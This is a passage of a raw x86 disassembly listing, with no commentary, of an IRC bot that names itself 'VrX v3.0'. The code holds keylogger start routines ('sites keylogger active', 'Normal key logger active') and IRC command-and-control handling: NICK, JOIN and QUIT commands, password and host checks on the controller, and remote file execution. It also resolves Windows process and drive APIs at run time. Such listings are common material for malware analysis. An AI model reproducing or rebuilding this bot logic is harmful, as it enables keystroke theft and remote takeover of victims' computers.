mov esi, eax
call sub_41B9C0
add eax, [ebp+var_C]
push [ebp+arg_18]
lea eax, [eax+esi+2]
push eax
call sub_41C2E0
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_409644
push ebx
push ebx
push esi
push edi
push [ebp+arg_4]
call sub_409869
add esp, 14h
push esi
push edi
push offset unk_42A200
jmp loc_408967
; ---------------------------------------------------------------------------
loc_408BBE: ; CODE XREF: sub_401ACD+471Fj
; sub_401ACD+4736j
cmp [ebp+var_C], ebx
jz loc_401F75
push [ebp+arg_18]
push [ebp+var_C]
call sub_41C2E0
pop ecx
cmp eax, ebx
pop ecx
jz loc_401F75
push eax
push edi
call sub_415C40
pop ecx
pop ecx
push edi
push offset unk_42A1E4
jmp loc_40723F
; ---------------------------------------------------------------------------
loc_408BF0: ; CODE XREF: sub_401ACD+46F1j
; sub_401ACD+4708j
push [ebp+arg_18]
push edi
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_418A2E
loc_408C05: ; CODE XREF: sub_401ACD+25ECj
add esp, 14h
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_408C0D: ; CODE XREF: sub_401ACD+46B1j
; sub_401ACD+46C8j
push edi
push [ebp+arg_1C]
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz loc_409644
mov esi, [ebp+esi+var_88]
cmp esi, ebx
jz loc_408CB1
push esi
push [ebp+var_C]
call sub_41C2E0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_408C99
push esi
lea eax, [ebp+var_2C4]
push [ebp+var_88]
push [ebp+var_8C]
push [ebp+var_90]
push offset dword_42A430
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push 1FFh
push eax
push [ebp+arg_0]
call sub_41BFD0
add esp, 24h
lea eax, [ebp+var_2C4]
push esi
push edi
push offset unk_42A1C0
push eax
call sub_41C266
add esp, 10h
inc [ebp+arg_24]
jmp loc_408699
; ---------------------------------------------------------------------------
loc_408C99: ; CODE XREF: sub_401ACD+7171j
lea eax, [ebp+var_2C4]
push offset unk_42A190
push eax
call sub_41C266
pop ecx
pop ecx
jmp loc_408699
; ---------------------------------------------------------------------------
loc_408CB1: ; CODE XREF: sub_401ACD+715Cj
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_41B243
add esp, 0Ch
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
lea eax, [ebp+var_2C4]
push edi
push offset unk_42A178
push 200h
push eax
call sub_41C360
add esp, 10h
jmp loc_408699
; ---------------------------------------------------------------------------
loc_408CFB: ; CODE XREF: sub_401ACD+4434j
; sub_401ACD+444Bj
push edi
push 23h
push offset aKeylog_0 ; "Keylog"
push offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active."
loc_408D08: ; CODE XREF: sub_401ACD+103Cj
; sub_401ACD+108Fj ...
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40B648
add esp, 20h
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_408D24: ; CODE XREF: sub_401ACD+4406j
; sub_401ACD+441Dj
push 23h
call sub_40B602
test eax, eax
pop ecx
jle short loc_408D3A
push offset aKeylogerAlread ; "Keyloger Already running."
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_408D3A: ; CODE XREF: sub_401ACD+7261j
mov eax, [ebp+arg_4]
push edi
mov [ebp+var_A98], eax
mov eax, [ebp+var_4]
mov [ebp+var_A0C], eax
mov eax, [ebp+var_8]
push offset aWeb ; "web"
mov [ebp+var_A08], eax
mov [ebp+var_A10], ebx
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_408DB9
mov esi, [ebp+esi+var_88]
mov [ebp+var_A10], 1
cmp esi, ebx
jnz short loc_408D9D
mov esi, offset aF_0 ; "#f"
push offset byte_43DB88
push esi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_408D9D
mov esi, [ebp+var_88]
loc_408D9D: ; CODE XREF: sub_401ACD+72B2j
; sub_401ACD+72C8j
push esi
lea eax, [ebp+var_A90]
push 80h
push eax
call sub_41C360
add esp, 0Ch
push offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active."
jmp short loc_408E0F
; ---------------------------------------------------------------------------
loc_408DB9: ; CODE XREF: sub_401ACD+729Dj
push edi
push offset aNormal_0 ; "normal"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_408E97
mov esi, [ebp+esi+var_88]
cmp esi, ebx
jnz short loc_408DF5
mov esi, offset aF_0 ; "#f"
push offset byte_43DB88
push esi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_408DF5
mov esi, [ebp+var_88]
loc_408DF5: ; CODE XREF: sub_401ACD+730Aj
; sub_401ACD+7320j
push esi
lea eax, [ebp+var_A90]
push 80h
push eax
call sub_41C360
add esp, 0Ch
push offset aNormalKeyLogge ; "Normal key logger active."
loc_408E0F: ; CODE XREF: sub_401ACD+72EAj
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
pop ecx
lea eax, [ebp+var_2C4]
pop ecx
push ebx
push 23h
push eax
call sub_40B3BA
add esp, 0Ch
mov [ebp+var_A94], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_A98]
push ebx
push eax
push offset byte_4126A7
push ebx
push ebx
call near ptr 26C051Eh
nop
mov ecx, [ebp+var_A94]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_408E7A
loc_408E64: ; CODE XREF: sub_401ACD+73ABj
cmp [ebp+var_A04], ebx
jnz loc_4081AD
push 32h
nop
call near ptr 26C04BFh
jmp short loc_408E64
; ---------------------------------------------------------------------------
loc_408E7A: ; CODE XREF: sub_401ACD+7395j
nop
call near ptr 26C0CC8h
push eax
push offset aFailedToStartL ; "Failed to start logging thread, error: "...
loc_408E86: ; CODE XREF: sub_401ACD+20F8j
; sub_401ACD+2E94j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
jmp loc_4081AA
; ---------------------------------------------------------------------------
loc_408E97: ; CODE XREF: sub_401ACD+72FBj
push offset aUnknowModeType ; "Unknow mode type."
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_408EA1: ; CODE XREF: sub_401ACD+4065j
; sub_401ACD+407Cj
push offset aR ; "r"
push edi
call sub_41BEA2
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_408F0D
mov ebx, 200h
push esi
lea eax, [ebp+var_2C4]
push ebx
push eax
call sub_41C52F
add esp, 0Ch
loc_408ECA: ; CODE XREF: sub_401ACD+742Cj
test eax, eax
jz short loc_408EFB
push 1
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
push esi
lea eax, [ebp+var_2C4]
push ebx
push eax
call sub_41C52F
add esp, 20h
jmp short loc_408ECA
; ---------------------------------------------------------------------------
loc_408EFB: ; CODE XREF: sub_401ACD+73FFj
push esi
call sub_41BA3B
pop ecx
push edi
push offset unk_42A0A4
jmp loc_409091
; ---------------------------------------------------------------------------
loc_408F0D: ; CODE XREF: sub_401ACD+73E5j
push edi
push offset unk_42A084
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_408F18: ; CODE XREF: sub_401ACD+4037j
; sub_401ACD+404Ej
cmp [ebp+var_C], ebx
jz loc_409644
push edi
push [ebp+var_C]
call sub_41C2E0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409644
push offset asc_42A080 ; "\n"
push esi
call sub_41C8A0
push esi
call sub_419F9D
add esp, 0Ch
test eax, eax
jnz short loc_408F55
push offset unk_42A054
jmp short loc_408FA2
; ---------------------------------------------------------------------------
loc_408F55: ; CODE XREF: sub_401ACD+747Fj
push esi
lea eax, [ebp+var_2C4]
push offset dword_42A03C
push eax
call sub_41C266
add esp, 0Ch
jmp loc_408699
; ---------------------------------------------------------------------------
loc_408F6F: ; CODE XREF: sub_401ACD+4009j
; sub_401ACD+4020j
cmp [ebp+var_C], ebx
jz loc_409644
push edi
push [ebp+var_C]
call sub_41C2E0
pop ecx
cmp eax, ebx
pop ecx
jz loc_409644
push eax
call sub_41875E
test eax, eax
pop ecx
jnz short loc_408F9D
push offset unk_42A01C
jmp short loc_408FA2
; ---------------------------------------------------------------------------
loc_408F9D: ; CODE XREF: sub_401ACD+74C7j
push offset dword_42A000
loc_408FA2: ; CODE XREF: sub_401ACD+7486j
; sub_401ACD+74CEj
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
pop ecx
pop ecx
jmp loc_408678
; ---------------------------------------------------------------------------
loc_408FB5: ; CODE XREF: sub_401ACD+3FDBj
; sub_401ACD+3FF2j
push 7Fh
lea eax, [ebp+var_2084]
push edi
push eax
call sub_41BFD0
mov esi, [ebp+esi+var_88]
add esp, 0Ch
cmp esi, ebx
jz short loc_408FE4
push 7Fh
lea eax, [ebp+var_2004]
push esi
push eax
call sub_41BFD0
add esp, 0Ch
loc_408FE4: ; CODE XREF: sub_401ACD+7503j
push 7Fh
lea eax, [ebp+var_1F84]
push [ebp+var_88]
push eax
call sub_41BFD0
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_2088], eax
mov eax, [ebp+var_8]
mov [ebp+var_1F00], eax
mov eax, [ebp+var_4]
mov [ebp+var_1EFC], eax
push edi
lea eax, [ebp+var_2C4]
push offset dword_429FE8
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 1Ch
push eax
call sub_40B3BA
add esp, 18h
mov [ebp+var_1F04], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2088]
push ebx
push eax
push offset sub_41B302
push ebx
push ebx
nop
call near ptr 26C051Eh
mov ecx, [ebp+var_1F04]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_409085
loc_40906F: ; CODE XREF: sub_401ACD+75B6j
cmp [ebp+var_1EF8], ebx
jnz loc_406C1F
push 32h
nop
call near ptr 26C04BFh
jmp short loc_40906F
; ---------------------------------------------------------------------------
loc_409085: ; CODE XREF: sub_401ACD+75A0j
nop
call near ptr 26C0CC8h
push eax
push offset unk_429FA8
loc_409091: ; CODE XREF: sub_401ACD+298Bj
; sub_401ACD+743Bj
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
add esp, 0Ch
jmp loc_406C1F
; ---------------------------------------------------------------------------
loc_4090A5: ; CODE XREF: sub_401ACD+3FADj
; sub_401ACD+3FC4j
push ebx
push [ebp+var_88]
push [ebp+arg_4]
push edi
call sub_41036B
add esp, 10h
push edi
push offset dword_429F90
jmp loc_40963D
; ---------------------------------------------------------------------------
loc_4090C3: ; CODE XREF: sub_401ACD+3F7Fj
; sub_401ACD+3F96j
push 14h
lea eax, [ebp+var_1D4C]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_1D38]
push edi
push offset aS_1 ; "%s"
push eax
call sub_41C266
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_1D54], eax
lea eax, [ebp+var_C4]
push eax
lea eax, [ebp+var_1C34]
push 80h
push eax
call sub_41C360
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_1BAC], eax
mov eax, [ebp+var_8]
mov [ebp+var_1BA8], eax
lea eax, [ebp+var_1C34]
push eax
lea eax, [ebp+var_1D38]
push eax
lea eax, [ebp+var_2C4]
push offset unk_429F6C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 1Ah
push eax
call sub_40B3BA
add esp, 1Ch
mov [ebp+var_1BB0], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1D54]
push ebx
push eax
push offset loc_4161C1
push ebx
push ebx
call near ptr 26C051Eh
nop
mov ecx, [ebp+var_1BB0]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz loc_4023CA
loc_40918A: ; CODE XREF: sub_401ACD+76D1j
cmp [ebp+var_1BA4], ebx
jnz loc_4082DE
push 32h
call near ptr 26C04BFh
nop
jmp short loc_40918A
; ---------------------------------------------------------------------------
loc_4091A0: ; CODE XREF: sub_401ACD+3F51j
; sub_401ACD+3F68j
push edi
nop
call near ptr 26C0722h
test eax, eax
jz short loc_4091C7
push edi
push offset dword_429F50
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41C360
jmp loc_40929A
; ---------------------------------------------------------------------------
loc_4091C7: ; CODE XREF: sub_401ACD+76DCj
push offset dword_42A5A8
call sub_418699
pop ecx
push eax
jmp loc_403EED
; ---------------------------------------------------------------------------
loc_4091D8: ; CODE XREF: sub_401ACD+3F23j
; sub_401ACD+3F3Aj
push edi
call sub_41C159
push eax
call sub_419F16
pop ecx
pop ecx
push 1
pop esi
cmp eax, esi
push edi
jnz short loc_4091F5
push offset unk_429F2C
jmp short loc_4091FA
; ---------------------------------------------------------------------------
loc_4091F5: ; CODE XREF: sub_401ACD+771Fj
push offset unk_429EFC
loc_4091FA: ; CODE XREF: sub_401ACD+7726j
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz loc_406C22
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
jmp loc_406C22
; ---------------------------------------------------------------------------
loc_409233: ; CODE XREF: sub_401ACD+3EF5j
; sub_401ACD+3F0Cj
push ebx
push ebx
push edi
push [ebp+var_4]
push ebx
push [ebp+arg_4]
call sub_419C09
add esp, 18h
cmp eax, 1
push edi
jnz short loc_409255
push offset unk_429EDC
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_409255: ; CODE XREF: sub_401ACD+777Cj
push offset unk_429EAC
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_40925F: ; CODE XREF: sub_401ACD+3EC7j
; sub_401ACD+3EDEj
push edi
call dword_4CBA14
cmp eax, 0FFFFFFFFh
mov [ebp+var_2D8], eax
jz short loc_4092A2
push 2
lea eax, [ebp+var_2D8]
push 4
push eax
call dword_4CB98C
cmp eax, ebx
jz short loc_4092BD
push dword ptr [eax]
loc_409288: ; CODE XREF: sub_401ACD+77EEj
push edi
lea eax, [ebp+var_2C4]
push offset unk_429E8C
push eax
call sub_41C266
loc_40929A: ; CODE XREF: sub_401ACD+76F5j
add esp, 10h
jmp loc_406BFE
; ---------------------------------------------------------------------------
loc_4092A2: ; CODE XREF: sub_401ACD+77A2j
push edi
call dword_4CBA58
cmp eax, ebx
jz short loc_4092BD
mov eax, [eax+0Ch]
mov eax, [eax]
push dword ptr [eax]
call dword_4CBA60
push eax
jmp short loc_409288
; ---------------------------------------------------------------------------
loc_4092BD: ; CODE XREF: sub_401ACD+77B7j
; sub_401ACD+77DEj
push offset unk_429E64
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_4092C7: ; CODE XREF: sub_401ACD+3E99j
; sub_401ACD+3EB0j
push 7Fh
push edi
push [ebp+arg_14]
call sub_41BFD0
add esp, 0Ch
push edi
push offset unk_429E40
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_4092E0: ; CODE XREF: sub_401ACD+3E6Bj
; sub_401ACD+3E82j
push 5
push ebx
push ebx
push edi
push offset aOpen ; "open"
push ebx
call dword_4CB940
test eax, eax
push edi
jz short loc_409300
push offset unk_429E20
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_409300: ; CODE XREF: sub_401ACD+7827j
push offset unk_429DFC
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_40930A: ; CODE XREF: sub_401ACD+3E3Dj
; sub_401ACD+3E54j
mov al, [edi]
mov byte_429094, al
movsx eax, byte ptr [edi]
push eax
push offset unk_429DD8
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_40931F: ; CODE XREF: sub_401ACD+3E0Fj
; sub_401ACD+3E26j
push edi
call sub_41C159
test eax, eax
pop ecx
jle loc_409644
push edi
call sub_41C159
cmp eax, 400h
pop ecx
jge loc_409644
push ebx
push ebx
lea eax, [ebp+var_A0]
push 2
push eax
call sub_40AE84
add esp, 10h
push eax
lea eax, [ebp+var_2C4]
push offset dword_42B894
push eax
call sub_41C266
add esp, 0Ch
jmp loc_4088B1
; ---------------------------------------------------------------------------
loc_40936D: ; CODE XREF: sub_401ACD+3DE1j
; sub_401ACD+3DF8j
push edi
call sub_41C159
test eax, eax
pop ecx
jle loc_401F75
push edi
call sub_41C159
cmp eax, 400h
pop ecx
jge loc_401F75
push offset aQuitLater ; "QUIT :later\r\n"
push edi
call sub_41C159
imul eax, 234h
pop ecx
push dword_43E91C[eax]
call sub_409823
pop ecx
pop ecx
push 1F4h
nop
call near ptr 26C04BFh
push edi
call sub_41C159
imul eax, 234h
pop ecx
push dword_43E91C[eax]
call dword_4CBA6C
push [ebp+var_10]
push edi
call sub_41C159
imul eax, 234h
pop ecx
push dword_43E924[eax]
nop
call near ptr 26D0DD3h
push edi
call sub_41C159
imul eax, 234h
push edi
mov dword_43E924[eax], ebx
call sub_41C159
imul eax, 234h
pop ecx
pop ecx
mov byte ptr dword_43E710[eax], bl
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_409418: ; CODE XREF: sub_401ACD+3DB3j
; sub_401ACD+3DCAj
push edi
push offset aAll ; "all"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_409447
call sub_40B583
cmp eax, ebx
jle short loc_40943D
push eax
push offset unk_429DAC
jmp loc_40723F
; ---------------------------------------------------------------------------
loc_40943D: ; CODE XREF: sub_401ACD+7963j
push offset unk_429D84
jmp loc_403F8F
; ---------------------------------------------------------------------------
loc_409447: ; CODE XREF: sub_401ACD+795Aj
mov eax, [ebp+var_AC]
lea edi, [eax+1]
cmp edi, 20h
jnb loc_401F75
lea eax, [ebp+edi*4+var_90]
mov [ebp+arg_24], eax
loc_409463: ; CODE XREF: sub_401ACD+7A07j
mov eax, [ebp+arg_24]
mov esi, [eax]
cmp esi, ebx
jz loc_401F75
push esi
call sub_41C159
push eax
call sub_40B4F5
pop ecx
pop ecx
test eax, eax
push esi
jz short loc_40948A
push offset unk_429D60
jmp short loc_40948F
; ---------------------------------------------------------------------------
loc_40948A: ; CODE XREF: sub_401ACD+79B4j
push offset unk_429D34
loc_40948F: ; CODE XREF: sub_401ACD+79BBj
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_4094BF
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_4094BF: ; CODE XREF: sub_401ACD+79D4j
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
add [ebp+arg_24], 4
inc edi
cmp edi, 20h
pop ecx
jb short loc_409463
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_4094DB: ; CODE XREF: sub_401ACD+3D85j
; sub_401ACD+3D9Cj
cmp [ebp+var_C], ebx
jz loc_409644
push edi
push [ebp+var_C]
call sub_41C2E0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409644
push esi
push offset dword_42A2E8
push [ebp+arg_4]
call sub_409823
add esp, 0Ch
push esi
push offset unk_429D1C
jmp loc_40963D
; ---------------------------------------------------------------------------
loc_409515: ; CODE XREF: sub_401ACD+3D57j
; sub_401ACD+3D6Ej
push edi
push offset dword_42A24C
push [ebp+arg_4]
call sub_409823
add esp, 0Ch
push edi
push offset unk_429CFC
jmp loc_40963D
; ---------------------------------------------------------------------------
loc_409531: ; CODE XREF: sub_401ACD+3D29j
; sub_401ACD+3D40j
push [ebp+esi+var_88]
push edi
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 10h
push edi
push offset unk_429CDC
jmp loc_40963D
; ---------------------------------------------------------------------------
loc_409554: ; CODE XREF: sub_401ACD+3CFBj
; sub_401ACD+3D12j
push edi
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 0Ch
push edi
push offset unk_429CB8
jmp loc_40963D
; ---------------------------------------------------------------------------
loc_409570: ; CODE XREF: sub_401ACD+3123j
; sub_401ACD+313Aj
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_409823
pop ecx
lea eax, [ebp+var_2C4]
pop ecx
push edi
push offset unk_429C98
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
push edi
call sub_41C159
add esp, 14h
loc_4095A6: ; CODE XREF: sub_401ACD+7B23j
push eax
call near ptr 26C04BFh
nop
loc_4095AD: ; CODE XREF: sub_401ACD+2A5Fj
xor eax, eax
jmp loc_401F78
; ---------------------------------------------------------------------------
loc_4095B4: ; CODE XREF: sub_401ACD+30F5j
; sub_401ACD+310Cj
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_409823
pop ecx
lea eax, [ebp+var_2C4]
pop ecx
push edi
push offset unk_429C70
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
push edi
call sub_41C159
add esp, 14h
imul eax, 3E8h
jmp short loc_4095A6
; ---------------------------------------------------------------------------
loc_4095F2: ; CODE XREF: sub_401ACD+EADj
; sub_401ACD+EC2j
push [ebp+esi+var_8C]
xor eax, eax
cmp [ebp+var_8F0], bl
setnz al
push eax
lea eax, [ebp+var_338]
push dword_42909C
push eax
call sub_40AE84
add esp, 10h
lea eax, [ebp+var_338]
push eax
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 0Ch
lea eax, [ebp+var_338]
push eax
push offset unk_429C4C
loc_40963D: ; CODE XREF: sub_401ACD+6FCCj
; sub_401ACD+75F1j ...
call sub_415DAC
pop ecx
loc_409643: ; CODE XREF: sub_401ACD+6BD8j
pop ecx
loc_409644: ; CODE XREF: sub_401ACD+63Dj
; sub_401ACD+649j ...
mov eax, [ebp+arg_24]
jmp loc_401F78
; ---------------------------------------------------------------------------
loc_40964C: ; CODE XREF: sub_401ACD+A98j
; sub_401ACD+AADj
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
mov [ebp+arg_20], esi
jz loc_401F75
cmp [ebp+var_A4], ebx
jnz loc_401F75
push offset asc_42CDBC ; "!"
push [ebp+var_90]
call sub_41CAD4
mov esi, eax
push offset word_4CB88C
push ebx
inc esi
call sub_41CAD4
push offset asc_429C48 ; "~"
push eax
call sub_41CAD4
push [ebp+arg_20]
mov edi, eax
push offset aCool ; "cool"
call sub_41CA50
add esp, 20h
test eax, eax
jz short loc_4096EB
lea eax, [ebp+var_C4]
push edi
push eax
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 14h
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
push [ebp+arg_4]
call sub_409823
add esp, 0Ch
push edi
push esi
push offset unk_429BC8
jmp loc_4023EE
; ---------------------------------------------------------------------------
loc_4096EB: ; CODE XREF: sub_401ACD+7BDAj
mov [ebp+arg_24], offset off_42915C
loc_4096F2: ; CODE XREF: sub_401ACD+7C41j
mov eax, [ebp+arg_24]
push edi
push dword ptr [eax]
call sub_40B713
pop ecx
test eax, eax
pop ecx
jnz short loc_409752
add [ebp+arg_24], 4
cmp [ebp+arg_24], offset off_429160
jb short loc_4096F2
lea eax, [ebp+var_C4]
push edi
push eax
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 14h
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
push [ebp+arg_4]
call sub_409823
add esp, 0Ch
push edi
push esi
push offset unk_429B74
jmp loc_4023EE
; ---------------------------------------------------------------------------
loc_409752: ; CODE XREF: sub_401ACD+7C34j
mov edi, [ebp+arg_18]
xor esi, esi
loc_409757: ; CODE XREF: sub_401ACD+7CB4j
cmp [ebp+arg_20], ebx
jz loc_401F75
cmp [edi], bl
jnz short loc_409777
push [ebp+arg_20]
push offset aCool ; "cool"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_409788
loc_409777: ; CODE XREF: sub_401ACD+7C95j
inc esi
add edi, 80h
cmp esi, 3
jl short loc_409757
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_409788: ; CODE XREF: sub_401ACD+7CA8j
shl esi, 7
add esi, [ebp+arg_18]
lea eax, [ebp+var_E04]
push 7Fh
push eax
push esi
call sub_41BFD0
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_4097BF
push ebx
push [ebp+var_4]
push offset unk_429B54
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_4097BF: ; CODE XREF: sub_401ACD+7CD6j
lea eax, [ebp+var_C4]
push eax
push offset unk_429B34
loc_4097CB: ; CODE XREF: sub_401ACD+595j
; sub_401ACD+2889j ...
call sub_415DAC
loc_4097D0: ; CODE XREF: sub_401ACD+1B81j
pop ecx
loc_4097D1: ; CODE XREF: sub_401ACD+24FDj
pop ecx
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_4097D7: ; CODE XREF: sub_401ACD+20Ej
; sub_401ACD+223j
push [ebp+arg_10]
push offset aUserhostS ; "USERHOST %s\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 0Ch
push offset aXI ; "-x+i"
push [ebp+arg_10]
push offset aModeSS_0 ; "MODE %s %s\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 10h
push [ebp+arg_C]
push [ebp+arg_8]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 10h
mov dword_4CB884, edi
jmp loc_401D6A
sub_401ACD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409823 proc near ; CODE XREF: sub_401955+3Dp
; sub_401ACD+1CBp ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push 200h
push eax
call sub_41CB70
add esp, 10h
lea eax, [ebp+var_200]
push 0
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_4CBA24
leave
retn
sub_409823 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409869 proc near ; CODE XREF: sub_401ACD+506p
; sub_401ACD+134Ep ...
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 400h
cmp [ebp+arg_C], 0
push esi
push edi
mov edi, offset aNotice ; "NOTICE"
jnz short loc_409884
mov edi, offset aPrivmsg ; "PRIVMSG"
loc_409884: ; CODE XREF: sub_409869+14j
push edi
call sub_41B9C0
push [ebp+arg_4]
mov esi, 1FAh
sub esi, eax
call sub_41B9C0
pop ecx
sub esi, eax
pop ecx
lea eax, [ebp+var_400]
push [ebp+arg_8]
push offset aS_1 ; "%s"
push esi
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_400]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push edi
push offset aSSS_0 ; "%s %s :%s\r\n"
push eax
call sub_41C266
add esp, 14h
lea eax, [ebp+var_200]
push 0
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_4CBA24
cmp [ebp+arg_10], 0
pop edi
pop esi
jz short locret_409907
push 7D0h
nop
call near ptr 26C04BFh
locret_409907: ; CODE XREF: sub_409869+91j
leave
retn
sub_409869 endp
; =============== S U B R O U T I N E =======================================
sub_409909 proc near ; CODE XREF: ___:0040126Cp
push ebx
push ebp
mov ebp, dword_4270A4
push esi
push edi
push offset aKernel32_dll ; "kernel32.dll"
call ebp
mov esi, dword_4270C4
mov edi, eax
xor ebx, ebx
cmp edi, ebx
jz loc_409A29
push offset aSeterrormode ; "SetErrorMode"
push edi
call esi
push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
push edi
mov dword_4CBA80, eax
call esi
push offset aProcess32first ; "Process32First"
push edi
mov dword_4CB9F4, eax
call esi
push offset aProcess32next ; "Process32Next"
push edi
mov dword_4CB9D8, eax
call esi
push offset aModule32first ; "Module32First"
push edi
mov dword_4CB8E8, eax
call esi
push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
push edi
mov dword_4CB894, eax
call esi
push offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
push edi
mov dword_4CB8C4, eax
call esi
push offset aGetdrivetypea ; "GetDriveTypeA"
push edi
mov dword_4CB93C, eax
call esi
push offset aSearchpatha ; "SearchPathA"
push edi
mov dword_4CBA34, eax
call esi
push offset aQueryperforman ; "QueryPerformanceCounter"
push edi
mov dword_4CBA90, eax
call esi
push offset aQueryperform_0 ; "QueryPerformanceFrequency"
push edi
mov dword_4CB8F4, eax
call esi
cmp dword_4CBA80, ebx
mov dword_4CB8DC, eax
jz short loc_409A07
cmp dword_4CB9F4, ebx
jz short loc_409A07
cmp dword_4CB9D8, ebx
jz short loc_409A07
cmp dword_4CB8E8, ebx
jz short loc_409A07
cmp dword_4CB8C4, ebx
jz short loc_409A07
cmp dword_4CB93C, ebx
